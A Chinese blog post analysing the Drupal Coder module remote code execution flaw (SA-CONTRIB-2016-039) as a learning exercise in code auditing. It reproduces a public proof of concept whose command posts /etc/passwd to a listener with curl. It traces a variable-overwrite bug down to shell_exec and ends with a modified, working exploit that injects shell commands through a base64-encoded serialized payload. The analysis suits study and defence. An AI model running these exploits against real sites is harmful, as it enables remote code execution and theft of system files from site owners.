转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html
起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/
后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267
分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。
从exploit-db的漏洞详情中,我们可以看到这个poc:
<?php # Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039) # https://www.drupal.org/node/2765575 # by Raz0r (http://raz0r.name) $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd"; $host = "http://localhost:81/drupal-7.12/"; $a = array( "upgrades" => array( "coder_upgrade" => array( "module" => "color", "files" => array("color.module") ) ), "extensions" => array("module"), "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")), "paths" => array( "modules_base" => "../../../", "files_base" => "../../../../sites/default/files" ) ); $payload = serialize($a); file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?>
然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。
我们来分析:
0x00 我们首先定位漏洞的位置搞清楚执行流程
全局搜索,定位到了两处。其中的一处有我做测试时候的输出。
我们跟进去,
继续往上找。
在coder_upgrade_start函数的定义中使用了这个,继续跟进。
到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。
所以,接着我们来尝试构造exp。
0x01 构造利用的exp
在coder_upgrade.run.php中,我们看到
set_error_handler("error_handler"); set_exception_handler("exception_handler");
这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。
我们本地测试就不去修改这个配置了。先注释掉这个判断。
<?php /** * @file * Invokes the Coder Upgrade conversion routines as a separate process. * * Using this script: * - helps to minimize the memory usage by the web interface process * - helps to avoid hitting memory and processing time limits by the PHP process * - enables a batch processing workflow * * Parameters to this script: * @param string $path * Path to a file containing runtime parameters * * The parameters should be stored as the serialized value of an associative * array with the following keys: * - paths: paths to files and modules * - theme_cache: path to core theme information cache * - variables: variables used by coder_upgrade * - upgrades: array to be passed to coder_upgrade_start() * - extensions: ditto * - items: ditto * * @see coder_upgrade_conversions_prepare() * @see coder_upgrade_parameters_save() * @see coder_upgrade_start() * * To execute this script, save the following shell script to a file and execute * the shell script from the root directory of your Drupal installation. If you * have changed the default coder_upgrade output directory name, then modify * this script accordingly. * * #!/bin/sh * * MODULES_DIRECTORY=[fill this in, e.g. all or mysite] * FILES_DIRECTORY=[fill this in, e.g. default or mysite] * CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it] * SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php * RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt * OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt * * php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1 * * Alternatively, replace the bracketed items in the following command and * execute it from the root directory of your Drupal installation. * * php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php * -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt * > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1 * * Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748) */ // if (!script_is_cli()) { // // Without proper web server configuration, this script can be invoked from a // // browser and is vulnerable to misuse. // return; // } // Save memory usage for printing later (when code is loaded). $usage = array(); save_memory_usage('start', $usage); /** * Root directory of Drupal installation. */ define('DRUPAL_ROOT', getcwd()); ini_set('display_errors', 1); ini_set('memory_limit', '128M'); ini_set('max_execution_time', 180); set_error_handler("error_handler"); set_exception_handler("exception_handler"); // Read command line arguments. $path = extract_arguments(); //获取到file参数的值 if (is_null($path)) { echo 'No path to parameter file'; return 2; } // Load runtime parameters. $parameters = unserialize(file_get_contents($path)); // Extract individual array items by key. foreach ($parameters as $key => $variable) { $$key = $variable; //变量覆盖,也是问题发生的关键地方 } save_memory_usage('load runtime parameters', $usage); // Set global variables (whose names do not align with extracted parameters). $_coder_upgrade_variables = $variables; $_coder_upgrade_files_base = $paths['files_base']; $_coder_upgrade_libraries_base = $paths['libraries_base']; $_coder_upgrade_modules_base = $paths['modules_base']; //以上的赋值需要构造,否则直接退出。 // Load core theme cache. $_coder_upgrade_theme_registry = array(); if (is_file($theme_cache)) { $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache)); } save_memory_usage('load core theme cache', $usage); // Load coder_upgrade bootstrap code. $path = $_coder_upgrade_modules_base . '/coder/coder_upgrade'; $files = array( 'coder_upgrade.inc', 'includes/main.inc', 'includes/utility.inc', ); foreach ($files as $file) { require_once DRUPAL_ROOT . '/' . $path . "/$file"; } //循环去包含文件,其中的main.inc会触发漏洞 coder_upgrade_path_clear('memory'); print_memory_usage($usage); // $trace_base = DRUPAL_ROOT . '/' . $_coder_upgrade_files_base . '/coder_upgrade/coder_upgrade_'; // $trace_file = $trace_base . '1.trace'; // xdebug_start_trace($trace_file); coder_upgrade_memory_print('load coder_upgrade bootstrap code'); // xdebug_stop_trace(); echo "upgrades"."<br>"; var_dump($upgrades); echo "extensions"."<br>"; var_dump($extensions); echo "items"."<br>"; var_dump($items); //调试输出的信息,原来的文件并没有 // Apply conversion functions. $success = coder_upgrade_start($upgrades, $extensions, $items); //关键性的items变量带入 // $trace_file = $trace_base . '2.trace'; // xdebug_start_trace($trace_file); coder_upgrade_memory_print('finish'); // xdebug_stop_trace(); return $success ? 0 : 1; /** * Returns command line arguments. * * @return mixed * String or array of command line arguments. */ function extract_arguments() { switch (php_sapi_name()) { case 'apache': case 'apache2handler': // This is the value when running curl. if (!isset($_GET['file'])) { echo 'file parameter is not set'; return; } $filename = $_GET['file']; $action = isset($_GET['action']) ? $_GET['action'] : ''; break; case 'cli': $skip_args = 2; if ($_SERVER['argc'] == 2) { $skip_args = 1; } elseif ($_SERVER['argc'] < 2) { echo 'CLI-1: file parameter is not set' . " "; return; } foreach ($_SERVER['argv'] as $index => $arg) { // First two arguments are usually script filename and '--'. // Sometimes the '--' is omitted. if ($index < $skip_args) continue; list($key, $value) = explode('=', $arg); $arguments[$key] = $value; } if (!isset($arguments['file'])) { echo 'CLI-2: file parameter is not set' . " "; return; } $filename = $arguments['file']; $action = isset($arguments['action']) ? $arguments['action'] : ''; break; } return $filename; } /** * Saves memory usage for printing later. * * @param string $step * A string describing the code step when the memory usage is gathered. * * @return mixed * String or array of command line arguments. */ function save_memory_usage($step, &$usage) { $usage[] = $step; $usage[] = 'Peak: ' . number_format(memory_get_peak_usage(TRUE), 0, '.', ',') . ' bytes'; $usage[] = 'Curr: ' . number_format(memory_get_usage(TRUE), 0, '.', ',') . ' bytes'; $usage[] = ''; $usage[] = ''; } function print_memory_usage($usage) { $text = 'Missing memory usage information'; if (is_array($usage)) { $text = implode(" ", $usage); } coder_upgrade_path_print(coder_upgrade_path('memory'), $text); } function exception_handler($e) { try { // ... normal exception stuff goes here } catch (Exception $e) { print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine(); } } function error_handler($code, $message, $file, $line) { if (0 == error_reporting()) { return; } throw new ErrorException($message, 0, $code, $file, $line); } /** * Returns boolean indicating whether script is being run from the command line. * * @see drupal_is_cli() */ function script_is_cli() { return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0))); }
对比原先的exp,我们加上两个变量:
"variables" => 1, "theme_cache" => 1,
最终的利用代码参考:
<?php $host = "http://192.168.30.134/test/coder/"; $a = array( "upgrades" => array( "coder_upgrade" => array( "module" => "coder", "files" => array("coder.module") ) ), "variables" => 1, "theme_cache" => 1, "extensions" => array("module"), "items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)), "paths" => array( "modules_base" => "../../..", "files_base" => "../..", "libraries_base" => 1 ) ); $payload = serialize($a); echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?>
运行的结果会在当前的目录下生成一个文件夹:
原因是因为这个:
这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。
刚开始学习审计,多有不足之处,还请指出。